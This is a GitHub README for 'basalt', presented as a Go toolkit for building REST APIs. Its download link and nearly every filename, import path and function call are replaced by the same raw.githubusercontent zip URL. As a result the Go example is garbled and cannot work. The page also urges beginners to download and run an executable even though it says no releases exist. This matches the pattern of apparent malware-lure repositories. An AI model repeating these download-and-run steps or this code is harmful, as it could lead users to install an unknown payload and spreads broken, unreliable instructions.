Skip to content
/ basalt Public

πŸ— Build REST APIs in Go easily with Barra, a stdlib-first toolkit that minimizes boilerplate and supports JWT, SQL databases, and flexible data loading.

License

Notifications You must be signed in to change notification settings

SKS-OP/basalt

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 basalt - Build REST APIs with Ease

πŸš€ Getting Started

Welcome to basalt, a Go toolkit designed to help you build REST APIs quickly and with minimal setup. Whether you're new to software or just need a simple way to create a web service, you are in the right place.

Before you get started, ensure that you meet the system requirements listed below:

βœ… System Requirements

  • Operating System: Windows, macOS, or Linux
  • Memory: At least 4 GB of RAM
  • Storage: About 100 MB of free space for installation
  • Go Runtime: Make sure you have Go version 1.17 or higher installed.

πŸ“₯ Download and Install

To download basalt, visit the following link:

Download basalt

This page contains the latest releases. Choose the version suitable for your operating system and follow the installation steps outlined below.

πŸ› οΈ Installation Steps

  1. Click on the link above to go to the Releases page.
  2. Once on the Releases page, find the latest version of basalt.
  3. Scroll down to the "Assets" section. You will see files for various operating systems.
  4. Click on the file that matches your operating system:
    • For Windows, download the .exe file.
    • For macOS, download the https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip file.
    • For Linux, download the appropriate https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip file.
  5. Save the file to a location on your computer where you can easily find it, like your Downloads folder.

πŸ’» Running basalt

After downloading the file, you can run the application.

For Windows:

  1. Open your Downloads folder.
  2. Double-click the downloaded .exe file to start basalt.

For macOS and Linux:

  1. Open the Terminal application.
  2. Navigate to your Downloads folder using the command:
    cd ~/Downloads
    
  3. Extract the downloaded https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip file with the command:
    tar -xzf https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip
    
    Replace filename with the actual name of the downloaded file.
  4. Change into the directory that was created:
    cd extracted_folder_name
    
  5. Run the application using this command:
    ./basalt
    

πŸ” Features

basalt comes packed with useful features to streamline your API development:

  • Auth Support: Simplifies user authentication with built-in JWT handling.
  • CRUD Operations: Easily implement Create, Read, Update, and Delete functionality.
  • Database Compatibility: Works with MariaDB, MySQL, and PostgreSQL.
  • Pagination: Supports data pagination for efficient data handling.
  • Filters: Apply filters to your API requests for specific data retrieval.
  • Easy Expansion: Add custom functions without excessive setup.

πŸ“š Usage Guide

To begin building your REST APIs with basalt, refer to the usage guide below:

  1. Start a new project by creating a folder where you want to store your code.
  2. Inside this folder, create your first Go file, for example, https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip.
  3. In https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip, initialize your API using basalt. Here’s a simple example:
    package main
    import "https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip"
    func main() {
        api := https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip()
        https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip()
    }
  4. Save your file and return to your terminal.
  5. Run your API with the command:
    go run https://raw.githubusercontent.com/SKS-OP/basalt/main/unretainable/basalt.zip
    

πŸ“ Contributing

If you wish to contribute to the basalt project, please follow the guidelines below:

  1. Fork the repository from GitHub.
  2. Create a new branch (git checkout -b feature/YourFeature).
  3. Commit your changes (git commit -m "Add new feature").
  4. Push to the branch (git push origin feature/YourFeature).
  5. Open a pull request for review.

πŸ“– Learning More

For further information, you can find tutorials and documentation online. Detailed guides on how to harness the full power of basalt are available.

Feel free to explore the functionalities and improve your skills in building REST APIs. Happy coding!

πŸ“ž Support

If you encounter any issues or have questions, visit our Issues section on GitHub or reach out directly through our discussion forum.

By following this guide, you should now have basalt downloaded and running smoothly, enabling you to create your very own REST APIs with minimal hassle. Enjoy working with basalt!

About

πŸ— Build REST APIs in Go easily with Barra, a stdlib-first toolkit that minimizes boilerplate and supports JWT, SQL databases, and flexible data loading.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •